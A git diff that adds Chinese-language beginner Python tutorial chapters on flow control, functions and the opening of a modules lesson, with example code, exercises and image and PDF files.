"b/1.3 \345\255\227\347\254\246\344\270\262\343\200\201\345\210\227\350\241\250\343\200\201\345\205\203\347\273\204\343\200\201\345\255\227\345\205\270\345\222\214\351\233\206\345\220\210/img/15.png" differ diff --git "a/1.3 \345\255\227\347\254\246\344\270\262\343\200\201\345\210\227\350\241\250\343\200\201\345\205\203\347\273\204\343\200\201\345\255\227\345\205\270\345\222\214\351\233\206\345\220\210/img/16.png" "b/1.3 \345\255\227\347\254\246\344\270\262\343\200\201\345\210\227\350\241\250\343\200\201\345\205\203\347\273\204\343\200\201\345\255\227\345\205\270\345\222\214\351\233\206\345\220\210/img/16.png" new file mode 100644 index 0000000..8bcba30 Binary files /dev/null and "b/1.3 \345\255\227\347\254\246\344\270\262\343\200\201\345\210\227\350\241\250\343\200\201\345\205\203\347\273\204\343\200\201\345\255\227\345\205\270\345\222\214\351\233\206\345\220\210/img/16.png" differ diff --git "a/1.3 \345\255\227\347\254\246\344\270\262\343\200\201\345\210\227\350\241\250\343\200\201\345\205\203\347\273\204\343\200\201\345\255\227\345\205\270\345\222\214\351\233\206\345\220\210/img/17.png" "b/1.3 \345\255\227\347\254\246\344\270\262\343\200\201\345\210\227\350\241\250\343\200\201\345\205\203\347\273\204\343\200\201\345\255\227\345\205\270\345\222\214\351\233\206\345\220\210/img/17.png" new file mode 100644 index 0000000..e095468 Binary files /dev/null and "b/1.3 \345\255\227\347\254\246\344\270\262\343\200\201\345\210\227\350\241\250\343\200\201\345\205\203\347\273\204\343\200\201\345\255\227\345\205\270\345\222\214\351\233\206\345\220\210/img/17.png" differ diff --git "a/1.3 \345\255\227\347\254\246\344\270\262\343\200\201\345\210\227\350\241\250\343\200\201\345\205\203\347\273\204\343\200\201\345\255\227\345\205\270\345\222\214\351\233\206\345\220\210/img/18.png" "b/1.3 \345\255\227\347\254\246\344\270\262\343\200\201\345\210\227\350\241\250\343\200\201\345\205\203\347\273\204\343\200\201\345\255\227\345\205\270\345\222\214\351\233\206\345\220\210/img/18.png" new file mode 100644 index 0000000..3618e58 Binary files /dev/null and "b/1.3 \345\255\227\347\254\246\344\270\262\343\200\201\345\210\227\350\241\250\343\200\201\345\205\203\347\273\204\343\200\201\345\255\227\345\205\270\345\222\214\351\233\206\345\220\210/img/18.png" differ diff --git "a/1.3 \345\255\227\347\254\246\344\270\262\343\200\201\345\210\227\350\241\250\343\200\201\345\205\203\347\273\204\343\200\201\345\255\227\345\205\270\345\222\214\351\233\206\345\220\210/img/19.png" "b/1.3 \345\255\227\347\254\246\344\270\262\343\200\201\345\210\227\350\241\250\343\200\201\345\205\203\347\273\204\343\200\201\345\255\227\345\205\270\345\222\214\351\233\206\345\220\210/img/19.png" new file mode 100644 index 0000000..71c0633 Binary files /dev/null and "b/1.3 \345\255\227\347\254\246\344\270\262\343\200\201\345\210\227\350\241\250\343\200\201\345\205\203\347\273\204\343\200\201\345\255\227\345\205\270\345\222\214\351\233\206\345\220\210/img/19.png" differ diff --git "a/1.3 \345\255\227\347\254\246\344\270\262\343\200\201\345\210\227\350\241\250\343\200\201\345\205\203\347\273\204\343\200\201\345\255\227\345\205\270\345\222\214\351\233\206\345\220\210/img/2.png" "b/1.3 \345\255\227\347\254\246\344\270\262\343\200\201\345\210\227\350\241\250\343\200\201\345\205\203\347\273\204\343\200\201\345\255\227\345\205\270\345\222\214\351\233\206\345\220\210/img/2.png" new file mode 100644 index 0000000..ddde359 Binary files /dev/null and "b/1.3 \345\255\227\347\254\246\344\270\262\343\200\201\345\210\227\350\241\250\343\200\201\345\205\203\347\273\204\343\200\201\345\255\227\345\205\270\345\222\214\351\233\206\345\220\210/img/2.png" differ diff --git "a/1.3 \345\255\227\347\254\246\344\270\262\343\200\201\345\210\227\350\241\250\343\200\201\345\205\203\347\273\204\343\200\201\345\255\227\345\205\270\345\222\214\351\233\206\345\220\210/img/20.png" "b/1.3 \345\255\227\347\254\246\344\270\262\343\200\201\345\210\227\350\241\250\343\200\201\345\205\203\347\273\204\343\200\201\345\255\227\345\205\270\345\222\214\351\233\206\345\220\210/img/20.png" new file mode 100644 index 0000000..6ba6e10 Binary files /dev/null and "b/1.3 \345\255\227\347\254\246\344\270\262\343\200\201\345\210\227\350\241\250\343\200\201\345\205\203\347\273\204\343\200\201\345\255\227\345\205\270\345\222\214\351\233\206\345\220\210/img/20.png" differ diff --git "a/1.3 \345\255\227\347\254\246\344\270\262\343\200\201\345\210\227\350\241\250\343\200\201\345\205\203\347\273\204\343\200\201\345\255\227\345\205\270\345\222\214\351\233\206\345\220\210/img/21.png" "b/1.3 \345\255\227\347\254\246\344\270\262\343\200\201\345\210\227\350\241\250\343\200\201\345\205\203\347\273\204\343\200\201\345\255\227\345\205\270\345\222\214\351\233\206\345\220\210/img/21.png" new file mode 100644 index 0000000..101cac9 Binary files /dev/null and "b/1.3 \345\255\227\347\254\246\344\270\262\343\200\201\345\210\227\350\241\250\343\200\201\345\205\203\347\273\204\343\200\201\345\255\227\345\205\270\345\222\214\351\233\206\345\220\210/img/21.png" differ diff --git "a/1.3 \345\255\227\347\254\246\344\270\262\343\200\201\345\210\227\350\241\250\343\200\201\345\205\203\347\273\204\343\200\201\345\255\227\345\205\270\345\222\214\351\233\206\345\220\210/img/22.png" "b/1.3 \345\255\227\347\254\246\344\270\262\343\200\201\345\210\227\350\241\250\343\200\201\345\205\203\347\273\204\343\200\201\345\255\227\345\205\270\345\222\214\351\233\206\345\220\210/img/22.png" new file mode 100644 index 0000000..1f11952 Binary files /dev/null and "b/1.3 \345\255\227\347\254\246\344\270\262\343\200\201\345\210\227\350\241\250\343\200\201\345\205\203\347\273\204\343\200\201\345\255\227\345\205\270\345\222\214\351\233\206\345\220\210/img/22.png" differ diff --git "a/1.3 \345\255\227\347\254\246\344\270\262\343\200\201\345\210\227\350\241\250\343\200\201\345\205\203\347\273\204\343\200\201\345\255\227\345\205\270\345\222\214\351\233\206\345\220\210/img/3.png" "b/1.3 \345\255\227\347\254\246\344\270\262\343\200\201\345\210\227\350\241\250\343\200\201\345\205\203\347\273\204\343\200\201\345\255\227\345\205\270\345\222\214\351\233\206\345\220\210/img/3.png" new file mode 100644 index 0000000..1d0b48f Binary files /dev/null and "b/1.3 \345\255\227\347\254\246\344\270\262\343\200\201\345\210\227\350\241\250\343\200\201\345\205\203\347\273\204\343\200\201\345\255\227\345\205\270\345\222\214\351\233\206\345\220\210/img/3.png" differ diff --git "a/1.3 \345\255\227\347\254\246\344\270\262\343\200\201\345\210\227\350\241\250\343\200\201\345\205\203\347\273\204\343\200\201\345\255\227\345\205\270\345\222\214\351\233\206\345\220\210/img/4.png" "b/1.3 \345\255\227\347\254\246\344\270\262\343\200\201\345\210\227\350\241\250\343\200\201\345\205\203\347\273\204\343\200\201\345\255\227\345\205\270\345\222\214\351\233\206\345\220\210/img/4.png" new file mode 100644 index 0000000..732cf10 Binary files /dev/null and "b/1.3 \345\255\227\347\254\246\344\270\262\343\200\201\345\210\227\350\241\250\343\200\201\345\205\203\347\273\204\343\200\201\345\255\227\345\205\270\345\222\214\351\233\206\345\220\210/img/4.png" differ diff --git "a/1.3 \345\255\227\347\254\246\344\270\262\343\200\201\345\210\227\350\241\250\343\200\201\345\205\203\347\273\204\343\200\201\345\255\227\345\205\270\345\222\214\351\233\206\345\220\210/img/5.png" "b/1.3 \345\255\227\347\254\246\344\270\262\343\200\201\345\210\227\350\241\250\343\200\201\345\205\203\347\273\204\343\200\201\345\255\227\345\205\270\345\222\214\351\233\206\345\220\210/img/5.png" new file mode 100644 index 0000000..08a2c0f Binary files /dev/null and "b/1.3 \345\255\227\347\254\246\344\270\262\343\200\201\345\210\227\350\241\250\343\200\201\345\205\203\347\273\204\343\200\201\345\255\227\345\205\270\345\222\214\351\233\206\345\220\210/img/5.png" differ diff --git "a/1.3 \345\255\227\347\254\246\344\270\262\343\200\201\345\210\227\350\241\250\343\200\201\345\205\203\347\273\204\343\200\201\345\255\227\345\205\270\345\222\214\351\233\206\345\220\210/img/6.png" "b/1.3 \345\255\227\347\254\246\344\270\262\343\200\201\345\210\227\350\241\250\343\200\201\345\205\203\347\273\204\343\200\201\345\255\227\345\205\270\345\222\214\351\233\206\345\220\210/img/6.png" new file mode 100644 index 0000000..309b0bd Binary files /dev/null and "b/1.3 \345\255\227\347\254\246\344\270\262\343\200\201\345\210\227\350\241\250\343\200\201\345\205\203\347\273\204\343\200\201\345\255\227\345\205\270\345\222\214\351\233\206\345\220\210/img/6.png" differ diff --git "a/1.3 \345\255\227\347\254\246\344\270\262\343\200\201\345\210\227\350\241\250\343\200\201\345\205\203\347\273\204\343\200\201\345\255\227\345\205\270\345\222\214\351\233\206\345\220\210/img/7.png" "b/1.3 \345\255\227\347\254\246\344\270\262\343\200\201\345\210\227\350\241\250\343\200\201\345\205\203\347\273\204\343\200\201\345\255\227\345\205\270\345\222\214\351\233\206\345\220\210/img/7.png" new file mode 100644 index 0000000..a706b74 Binary files /dev/null and "b/1.3 \345\255\227\347\254\246\344\270\262\343\200\201\345\210\227\350\241\250\343\200\201\345\205\203\347\273\204\343\200\201\345\255\227\345\205\270\345\222\214\351\233\206\345\220\210/img/7.png" differ diff --git "a/1.3 \345\255\227\347\254\246\344\270\262\343\200\201\345\210\227\350\241\250\343\200\201\345\205\203\347\273\204\343\200\201\345\255\227\345\205\270\345\222\214\351\233\206\345\220\210/img/8.png" "b/1.3 \345\255\227\347\254\246\344\270\262\343\200\201\345\210\227\350\241\250\343\200\201\345\205\203\347\273\204\343\200\201\345\255\227\345\205\270\345\222\214\351\233\206\345\220\210/img/8.png" new file mode 100644 index 0000000..036a60c Binary files /dev/null and "b/1.3 \345\255\227\347\254\246\344\270\262\343\200\201\345\210\227\350\241\250\343\200\201\345\205\203\347\273\204\343\200\201\345\255\227\345\205\270\345\222\214\351\233\206\345\220\210/img/8.png" differ diff --git "a/1.3 \345\255\227\347\254\246\344\270\262\343\200\201\345\210\227\350\241\250\343\200\201\345\205\203\347\273\204\343\200\201\345\255\227\345\205\270\345\222\214\351\233\206\345\220\210/img/9.png" "b/1.3 \345\255\227\347\254\246\344\270\262\343\200\201\345\210\227\350\241\250\343\200\201\345\205\203\347\273\204\343\200\201\345\255\227\345\205\270\345\222\214\351\233\206\345\220\210/img/9.png" new file mode 100644 index 0000000..210c86d Binary files /dev/null and "b/1.3 \345\255\227\347\254\246\344\270\262\343\200\201\345\210\227\350\241\250\343\200\201\345\205\203\347\273\204\343\200\201\345\255\227\345\205\270\345\222\214\351\233\206\345\220\210/img/9.png" differ diff --git a/1.3.pdf b/1.3.pdf new file mode 100644 index 0000000..18f11a4 Binary files /dev/null and b/1.3.pdf differ diff --git "a/1.4 \346\265\201\347\250\213\346\216\247\345\210\266/1.4.pdf" "b/1.4 \346\265\201\347\250\213\346\216\247\345\210\266/1.4.pdf" new file mode 100644 index 0000000..83d5fcf Binary files /dev/null and "b/1.4 \346\265\201\347\250\213\346\216\247\345\210\266/1.4.pdf" differ diff --git "a/1.4 \346\265\201\347\250\213\346\216\247\345\210\266/Readme.md" "b/1.4 \346\265\201\347\250\213\346\216\247\345\210\266/Readme.md" new file mode 100644 index 0000000..f39219b --- /dev/null +++ "b/1.4 \346\265\201\347\250\213\346\216\247\345\210\266/Readme.md" @@ -0,0 +1,170 @@ +# 1.4 流程控制 + +本节要介绍的是Python编程中和流程控制有关的关键字和相关内容,利用这些知识可以让代码具有逻辑判断的能力。 + +正式开始之前,新建flow.py文件,用于练习和测试。 + +## 1.4.1 IF … ELSE + +添加如下测试代码: +```Python +# -*- coding: UTF-8 -*- + +x=int(input('请输入一个整数:')) +if x==0: + print('%d ==0' %x) +elif x<0: + print('%d <0' %x) +else: + print('%d >0' %x) +``` +上面的代码中,注意第一行代码,我们使用了input函数,这会中断程序的运行,在终端等待用户输入,我们从终端输入一个数字,代码会继续执行。接下来使用if,elif和else三个关键字,每一个关键字后面跟一个布尔表达式,以冒号结尾。跟在条件判断语句下面的是子语句,就是我们在此条件下要做的事情。运行结果如下: + +![](img/1.png) + +## 1.4.2 FOR 语句 + +Python 中的 for 语句和C中的略有不同。通常的循环可能会由用户来定义迭代步骤和中止条件,Python 的 for 语句依据任意序列(链表或字符串)中的子项,按它们在序列中的顺序来进行迭代。例如: + +```Python +#for  +print('for 测试.....') +words = ['cat', 'window', 'defenestrate'] +for word in words: + print(word,len(word)) +``` +运行结果如下: + +![](img/2.png) + +在迭代过程中修改迭代序列不安全(只有在使用链表这样的可变序列时才会有这样的情况)。如果你想要修改你迭代的序列,可以迭代它的副本。使用切割标识就可以很方便的做到这一点: +```Python +#利用切片复制列表 +print('利用切片复制列表.....') +for word in words[:]: + if len(word)>6: + words.insert(0,word) +print(words) +``` +上面的代码通过切片操作得到了words的一个拷贝,循环过程中可以修改words列表但是不会对循环造成影响。 +运行结果如下: +``` +利用切片复制列表..... +['defenestrate', 'cat', 'window', 'defenestrate'] +``` + +## 2.4.3 WHILE语句 + +while和if的区别在于,if如果表达式为true的话会一次执行内部的代码,而while会循环执行,直到表达式为false。例如: +```Python +#while +print('while.....') +count=0 +while(count<9): + print('the index is:',count) + count +=1 +``` +运行结果如下: + +![](img/3.png) + +## 1.4.5 RANGE和XRANGE + +使用range函数可以很方便的生成一个等差系列。range函数完整的声明如下: +``` +range(start,end,step =1) +``` +下面我们添加代码看看range的使用方法: +```Python +#range +print('range.....') +a=range(5) +b=range(2,5) +c=range(2,5,2) + +print(a) +print(b) +for i in c: + print("value is",i) +``` +这段代码示例了三种使用方式: + +1) 只有一个参数时,传入值为end,起始值为0,步长为1; + +2) 传递两个参数时,传入值为start和end,步长为1; + +3) 传递三个参数时,传入值为start,end和步长。 + +xrange和range使用方法一样,区别有以下两点: + +1) xrange不生成完整的列表,效率更高; + +2) xrange只有在for循环中使用才有意义。 + +运行结果如下: + +![](img/4.png) + +## 1.4.6 BREAK 、 CONTINUE和PASS + +break 语句和 C中的类似,用于跳出最近的一级for或while循环。 +循环可以有一个else子句,它在循环迭代完整个列表(对于 for )或执行条件为 false (对于while )时执行,但循环被 break 中止的情况下不会执行。 +例如下面的代码: +```Python +#break +print('break.....') +for n in range(2, 10): + for x in range(2, n): + if n % x == 0: + print(n, 'equals', x, '*', n//x) + break + else: + print(n, 'is a prime number') +``` +上面的代码循环一个包含从2到9的一个系列,内部的循环实际是判断该数是不是素数。if语句如果为true的话证明找到了除2和本身以外的分解因子,证明这个数不是素数,接着会执行break,此时会跳出当前循环,因为有了break语句,和当前for循环对应的else语句也不会执行。在相反的情况下,如果是素数,当前循环会执行完毕,else子句会执行。结果如下: + +![](img/5.png) + +continue 语句是从 C 中借鉴来的,它表示循环继续执行下一次迭代,如下所示: +```Python +#continue +print('continue.....') +for num in range(2,10): + if(num %2 ==0): + continue + print(num) +``` +这是一段输出奇数的代码,结果如下: + +![](img/6.png) + +pass 语句什么也不做,相当于汇编的nop指令。它用于那些语法上必须要有什么语句,但程序什么也不做的场合。通常我们使用pass语句来进行占位,比如规划程序功能和结构的时候,我们想好要定义哪些类,哪些方法,但是还没有具体实现的时候。比如: +```Python +#pass +def funcname(parameter_list): + pass + +class classname(object): + pass + +if a==0: + pass +else: + pass +``` + +## 1.4.7 小结 + +本小节快速学习了基本的流程控制,有了这些内容,我们可以解决很多算法问题了。本节留给大家的练习题如下: + +1. 实现用户输入用户名和密码,当用户名为 seven且密码为123时,显示登陆成功,否则登陆失败! +2. 使用while循环实现输出2-3+4-5+6.....+100的和 + + +下一节介绍 函数。 + + + 欢迎到关注微信订阅号,交流学习中的问题和心得 + + +![](img/0.jpg) \ No newline at end of file diff --git "a/1.4 \346\265\201\347\250\213\346\216\247\345\210\266/code.1/flow.py" "b/1.4 \346\265\201\347\250\213\346\216\247\345\210\266/code.1/flow.py" new file mode 100644 index 0000000..279cc30 --- /dev/null +++ "b/1.4 \346\265\201\347\250\213\346\216\247\345\210\266/code.1/flow.py" @@ -0,0 +1,69 @@ +# -*- coding: UTF-8 -*- + +x=int(input('请输入一个整数:')) +if x==0: + print('%d ==0' %x) +elif x<0: + print('%d <0' %x) +else: + print('%d >0' %x) + +#for  +print('for 测试.....') +words = ['cat', 'window', 'defenestrate'] +for word in words: + print(word,len(word)) + +#利用切片复制列表 +print('利用切片复制列表.....') +for word in words[:]: + if len(word)>6: + words.insert(0,word) +print(words) + +#while +print('while.....') +count=0 +while(count<9): + print('the index is:',count) + count +=1 + +#range +print('range.....') +a=range(5) +b=range(2,5) +c=range(2,5,2) + +print(a) +print(b) +for i in c: + print("value is",i) + +#break +print('break.....') +for n in range(2, 10): + for x in range(2, n): + if n % x == 0: + print(n, 'equals', x, '*', n//x) + break + else: + print(n, 'is a prime number') + +#continue +print('continue.....') +for num in range(2,10): + if(num %2 ==0): + continue + print(num) + +#pass +def funcname(parameter_list): + pass + +class classname(object): + pass + +if a==0: + pass +else: + pass \ No newline at end of file diff --git "a/1.4 \346\265\201\347\250\213\346\216\247\345\210\266/img/0.jpg" "b/1.4 \346\265\201\347\250\213\346\216\247\345\210\266/img/0.jpg" new file mode 100755 index 0000000..85f3ccd Binary files /dev/null and "b/1.4 \346\265\201\347\250\213\346\216\247\345\210\266/img/0.jpg" differ diff --git "a/1.4 \346\265\201\347\250\213\346\216\247\345\210\266/img/1.png" "b/1.4 \346\265\201\347\250\213\346\216\247\345\210\266/img/1.png" new file mode 100644 index 0000000..370c09f Binary files /dev/null and "b/1.4 \346\265\201\347\250\213\346\216\247\345\210\266/img/1.png" differ diff --git "a/1.4 \346\265\201\347\250\213\346\216\247\345\210\266/img/2.png" "b/1.4 \346\265\201\347\250\213\346\216\247\345\210\266/img/2.png" new file mode 100644 index 0000000..f409251 Binary files /dev/null and "b/1.4 \346\265\201\347\250\213\346\216\247\345\210\266/img/2.png" differ diff --git "a/1.4 \346\265\201\347\250\213\346\216\247\345\210\266/img/3.png" "b/1.4 \346\265\201\347\250\213\346\216\247\345\210\266/img/3.png" new file mode 100644 index 0000000..74a1550 Binary files /dev/null and "b/1.4 \346\265\201\347\250\213\346\216\247\345\210\266/img/3.png" differ diff --git "a/1.4 \346\265\201\347\250\213\346\216\247\345\210\266/img/4.png" "b/1.4 \346\265\201\347\250\213\346\216\247\345\210\266/img/4.png" new file mode 100644 index 0000000..685d303 Binary files /dev/null and "b/1.4 \346\265\201\347\250\213\346\216\247\345\210\266/img/4.png" differ diff --git "a/1.4 \346\265\201\347\250\213\346\216\247\345\210\266/img/5.png" "b/1.4 \346\265\201\347\250\213\346\216\247\345\210\266/img/5.png" new file mode 100644 index 0000000..6a01e48 Binary files /dev/null and "b/1.4 \346\265\201\347\250\213\346\216\247\345\210\266/img/5.png" differ diff --git "a/1.4 \346\265\201\347\250\213\346\216\247\345\210\266/img/6.png" "b/1.4 \346\265\201\347\250\213\346\216\247\345\210\266/img/6.png" new file mode 100644 index 0000000..646bb4b Binary files /dev/null and "b/1.4 \346\265\201\347\250\213\346\216\247\345\210\266/img/6.png" differ diff --git "a/1.4 \346\265\201\347\250\213\346\216\247\345\210\266/img/QQ20181127-193022@2x.png" "b/1.4 \346\265\201\347\250\213\346\216\247\345\210\266/img/QQ20181127-193022@2x.png" new file mode 100644 index 0000000..4e0ae48 Binary files /dev/null and "b/1.4 \346\265\201\347\250\213\346\216\247\345\210\266/img/QQ20181127-193022@2x.png" differ diff --git a/1.4.pdf b/1.4.pdf new file mode 100644 index 0000000..83d5fcf Binary files /dev/null and b/1.4.pdf differ diff --git "a/1.5 \345\207\275\346\225\260/1.5.pdf" "b/1.5 \345\207\275\346\225\260/1.5.pdf" new file mode 100644 index 0000000..99847d7 Binary files /dev/null and "b/1.5 \345\207\275\346\225\260/1.5.pdf" differ diff --git "a/1.5 \345\207\275\346\225\260/Readme.md" "b/1.5 \345\207\275\346\225\260/Readme.md" new file mode 100644 index 0000000..55d797d --- /dev/null +++ "b/1.5 \345\207\275\346\225\260/Readme.md" @@ -0,0 +1,253 @@ +# 1.5 函数 + +函数是可复用的代码块。它们允许你给一块代码一个名称,然后你可以在你的程序的任何地方使用这个名称任意多次地运行这个代码块,这个过程称之为函数调用。 +虽然才正式接触函数的概念,但是我们已经调用过很多次函数了,比如print。 +下面我们来了解下函数的声明。 + +## 1.5.1 函数声明 + +函数通过def关键字定义。def关键字后跟一个函数的 标识符 名称,然后跟一对圆括号。圆括号之中可以包括一些变量名,该行以冒号结尾。接下来是一块语句,它们是函数体。新建function.py文件,添加如下代码: +```Python +# -*- coding: UTF-8 -*- + #函数声明 +def sayHello(): + print('Hello 玄魂!') + +sayHello() #函数调用 +``` + +我们使用def关键字定义了一个称为sayHello的函数。这个函数不使用任何参数,因此在圆括号中没有声明任何变量。函数体调用了print函数打印字符串。最后通过函数名加括号的方式类调用函数。这里需要注意代码的缩进,函数体第一层代码距离函数声明(def)一个tab键的距离。 +运行结果如下: + +![](img/1.png) + +## 1.5.2 函数形参 + +那么如何定义和调用带参数的函数呢? + +从黑盒的角度看函数,盒子有两个管道,一个是输入,一个是输出,盒子内部是函数体。输出是返回值,输入就是函数的参数。 + +参数在函数定义的圆括号对内指定,用逗号分割。当我们调用函数的时候,我们以同样的方式提供值。注意我们使用过的术语——函数中的参数名称为 形参 而你提供给函数调用的值称为 *实参* 。看下面的示例: +```Python +#参数 + +def printMax(a, b): + if a > b: + print(a, 'is maximum') + else: + print(b, 'is maximum') +printMax(3, 4) + +x = 5 +y = 7 +print('参数传递') +printMax(x, y) +``` +这里,我们定义了一个称为printMax的函数,这个函数需要两个形参,叫做a和b。我们使用if..else语句找出两者之中较大的一个数,并且打印较大的那个数。在第一个printMax调用中,我们直接把数,即实参,提供给函数。在第二个使用中,我们使用变量调用函数。printMax(x, y)使实参x的值赋给形参a,实参y的值赋给形参b。在两次调用中,printMax函数的工作完全相同。这里仍然要注意缩进,if ...else 是函数体的第一层,一个tab键的缩进,内部的print调用属于if...else的代码块 距离if...else一个tab键的距离。 + +运行结果如下: +``` +4 is maximum +参数传递 +7 is maximum +``` + +## 1.5.3 局部变量 + +当你在函数定义内声明变量的时候,它们与函数外具有相同名称的其他变量没有任何关系,即变量名称对于函数来说是 局部 的。这称为变量的 作用域 。所有变量的作用域是它们被定义的块,从它们的名称被定义的那点开始。 +```Python +#局部变量 +def func(x): + print('x is', x) + x = 2 + print('Changed local x to', x) +print('局部变量') +x = 50 +func(x) +print('x is still', x) +``` +在上面这段代码中,首先函数定义了形参x,相当于函数的局部变量。在函数调用的时候,传入了外部x,外部x值为50。在函数内部将x值改为2,改变的是局部变量x,外部x不受影响,从最后的输出结果可以验证。运行结果如下: + +``` +局部变量 +x is 50 +Changed local x to 2 +x is still 50 +``` +如果你想要为一个定义在函数外的变量赋值,那么你就得告诉Python这个变量名不是局部的,而是 全局 的。我们使用global语句完成这一功能。没有global语句,是不可能为定义在函数外的变量赋值的。例如: + +```Python +#访问外部变量 +def func2(): + global x + + print('x is', x) + x = 2 + print('Changed local x to', x) +print('访问外部变量') +x = 50 +func2() +print('Value of x is', x) +``` +运行结果如下: + +``` +访问外部变量 +x is 50 +Changed local x to 2 +Value of x is 2 +``` +## 1.5.4 默认参数值 + +对于一些函数,你可能希望它的一些参数是 可选 的,如果用户不想要为这些参数提供值的话,这些参数就使用默认值。这个功能借助于默认参数值完成。你可以在函数定义的形参名后加上赋值运算符(=)和默认值,从而给形参指定默认参数值。例如: +```Python +#默认参数 +def say(message, times = 1): + print(message * times) + +print('默认参数。。。。') +say('Hello') +say('World', 5) +``` +上面的代码中,名为say的函数用来打印一个字符串任意所需的次数。如果我们不提供一个值,那么默认地,字符串将只被打印一遍。我们通过给形参times指定默认参数值1来实现这一功能。在第一次使用say的时候,我们只提供一个字符串,函数只打印一次字符串。在第二次使用say的时候,我们提供了字符串和参数5,表明我们想要打印这个字符串消息5遍。运行结果如下: + +``` +默认参数。。。。 +Hello +WorldWorldWorldWorldWorld +``` + +只有在形参表末尾的那些参数可以有默认参数值,即你不能在声明函数形参的时候,先声明有默认值的形参而后声明没有默认值的形参。这是因为赋给形参的值是根据位置而赋值的。例如, + +```Python +def func(a, b=5) +``` +是有效的,但是 + +```Python +def func(a=5, b) +``` +是无效的。 + +## 1.5.5 关键字传参 + +如果你的某个函数有许多参数,而你只想指定其中的一部分,那么你可以通过命名来为这些参数赋值——这被称作 关键参数 ——我们使用名字(关键字)而不是位置(我们前面所一直使用的方法)来给函数指定实参。 + +这样做有两个优势: + +1. 由于我们不必担心参数的顺序,使用函数变得更加简单了。 +2. 假设其他参数都有默认值,我们可以只给我们想要的那些参数赋值。 + +例如: +```Python +#关键字传参 +def func3(a, b=5, c=10): + print('a is', a, 'and b is', b, 'and c is', c) + +func3(3, 7) +func3(25, c=24) +func3(c=50, a=100) +``` +在上面的代码中,名为func的函数有一个没有默认值的参数,和两个有默认值的参数。在第一次使用函数的时候, func(3, 7),参数a得到值3,参数b得到值7,而参数c使用默认值10。在第二次使用函数func(25, c=24)的时候,根据实参的位置变量a得到值25。根据命名,即关键参数,参数c得到值24。变量b根据默认值,为5。在第三次使用func(c=50, a=100)的时候,我们使用关键参数来完全指定参数值。注意,尽管函数定义中,a在c之前定义,我们仍然可以在a之前指定参数c的值。运行结果如下: + +``` +关键字传参。。。。。 +a is 3 and b is 7 and c is 10 +a is 25 and b is 5 and c is 24 +a is 100 and b is 5 and c is 50 +``` + +## 1.5.6 return + +return语句用来从一个函数返回,即跳出函数。我们也可选从函数返回一个值。例如: + +```Python +#return +def maximum(x, y): + if x > y: + return x + else: + return y +print('return。。。。。') +print(maximum(2, 3)) + +``` +在上面的代码中,maximum函数返回参数中的最大值,在这里是提供给函数的数。它使用简单的if..else语句来找出较大的值,然后返回那个值。运行结果如下: + +``` +return。。。。。 +3 +``` + +注意,没有返回值的return语句等价于return None。None是Python中表示没有任何东西的特殊类型。例如,如果一个变量的值为None,可以表示它没有值。除非你提供你自己的return语句,每个函数都在结尾暗含有return None语句。例如: + +```Python +def someFunction(): + pass +print(someFunction()) +``` +运行结果如下: + +``` +None +``` + +## 2.5.8 DOCSTRINGS + +Python有一个很奇妙的特性,称为 文档字符串 ,它通常被简称为 docstrings 。DocStrings是一个重要的工具,由于它帮助你的程序文档更加简单易懂,你应该尽量使用它。 +先看下面的例子: + +```Python +#docstrings +def printMax2(x, y): + '''Prints the maximum of two numbers. + + The two values must be integers.''' + x = int(x) # convert to integers, if possible + y = int(y) + + if x > y: + print(x, 'is maximum') + else: + print(y, 'is maximum') + +printMax2(3, 5) +print(printMax2.__doc__) +``` +在上面的代码中,在函数的第一个逻辑行的字符串是这个函数的文档字符串 。文档字符串的惯例是一个多行字符串,它的首行以大写字母开始,句号结尾。第二行是空行,从第三行开始是详细的描述。 强烈建议你在你的函数中使用文档字符串时遵循这个惯例。你可以使用__doc__(注意双下划线)调用printMax函数的文档字符串属性(属于函数的名称)。请记住Python把 每一样东西 都作为对象,包括这个函数。这里需要注意三引号的应用,按排版格式原样输出多行字符串。运行结果如下: + +``` + +Prints the maximum of two numbers. + + The two values must be integers. +``` + +如果你已经在Python中使用过help(),那么你已经看到过DocStings的使用了!它所做的只是抓取函数的__doc__属性,然后整洁地展示给你。例如: + +```Python +help(printMax2) +``` +运行代码,会在终端中显示如下信息: + +![](img/2.png) + + +自动化工具也可以以同样的方式从你的程序中提取文档。因此,我强烈建议你对你所写的任何正式函数编写文档字符串。 + +1.5.8 小结 + +本节讲解了函数的关键内容,之后我们编写代码,都需要将逻辑组织封装到函数中,便于调用和维护。 + +本节的题目如下: + +1. 将1.4节的练习题的实现都封装到函数中,传入不同的参数进行调用测试 +2. 为每个函数添加文档字符串 + +下一节介绍 函数。 + + + 欢迎到关注微信订阅号,交流学习中的问题和心得 + + +![](img/0.jpg) \ No newline at end of file diff --git "a/1.5 \345\207\275\346\225\260/img/0.jpg" "b/1.5 \345\207\275\346\225\260/img/0.jpg" new file mode 100755 index 0000000..85f3ccd Binary files /dev/null and "b/1.5 \345\207\275\346\225\260/img/0.jpg" differ diff --git "a/1.5 \345\207\275\346\225\260/img/1.png" "b/1.5 \345\207\275\346\225\260/img/1.png" new file mode 100644 index 0000000..dd664c3 Binary files /dev/null and "b/1.5 \345\207\275\346\225\260/img/1.png" differ diff --git "a/1.5 \345\207\275\346\225\260/img/2.png" "b/1.5 \345\207\275\346\225\260/img/2.png" new file mode 100644 index 0000000..4404a68 Binary files /dev/null and "b/1.5 \345\207\275\346\225\260/img/2.png" differ diff --git a/1.5.pdf b/1.5.pdf new file mode 100644 index 0000000..99847d7 Binary files /dev/null and b/1.5.pdf differ diff --git "a/1.6 \346\250\241\345\235\227/1.6.pdf" "b/1.6 \346\250\241\345\235\227/1.6.pdf" new file mode 100644 index 0000000..616745a Binary files /dev/null and "b/1.6 \346\250\241\345\235\227/1.6.pdf" differ diff --git "a/1.6 \346\250\241\345\235\227/Readme.md" "b/1.6 \346\250\241\345\235\227/Readme.md" new file mode 100644 index 0000000..0bd5f40 --- /dev/null +++ "b/1.6 \346\250\241\345\235\227/Readme.md" @@ -0,0 +1,120 @@ +# 1.6 模块 + +我们已经学习了如何在你的程序中定义一次函数而重用代码。如果你想要在其他程序中重用很多函数,那么你该如何编写程序呢?你可能已经猜到了,答案是使用模块。模块基本上就是一个包含了所有你定义的函数和变量的文件。为了在其他程序中重用模块,模块的文件名必须以.py为扩展名。 + +模块可以从其他程序 导入以便利用它的功能。这也是我们使用Python标准库的方法。首先,我们将学习如何使用标准库模块。 + +先创建module.py文件用于练习和测试。 + +1.6.1 调用SYS模块 + +添加如下代码: + +```Python +# -*- coding: UTF-8 -*- + +import sys + +print('The command line arguments are:') +for i in sys.argv: + print(i) + +print('\n\nThe PYTHONPATH is', sys.path, '\n') +``` + 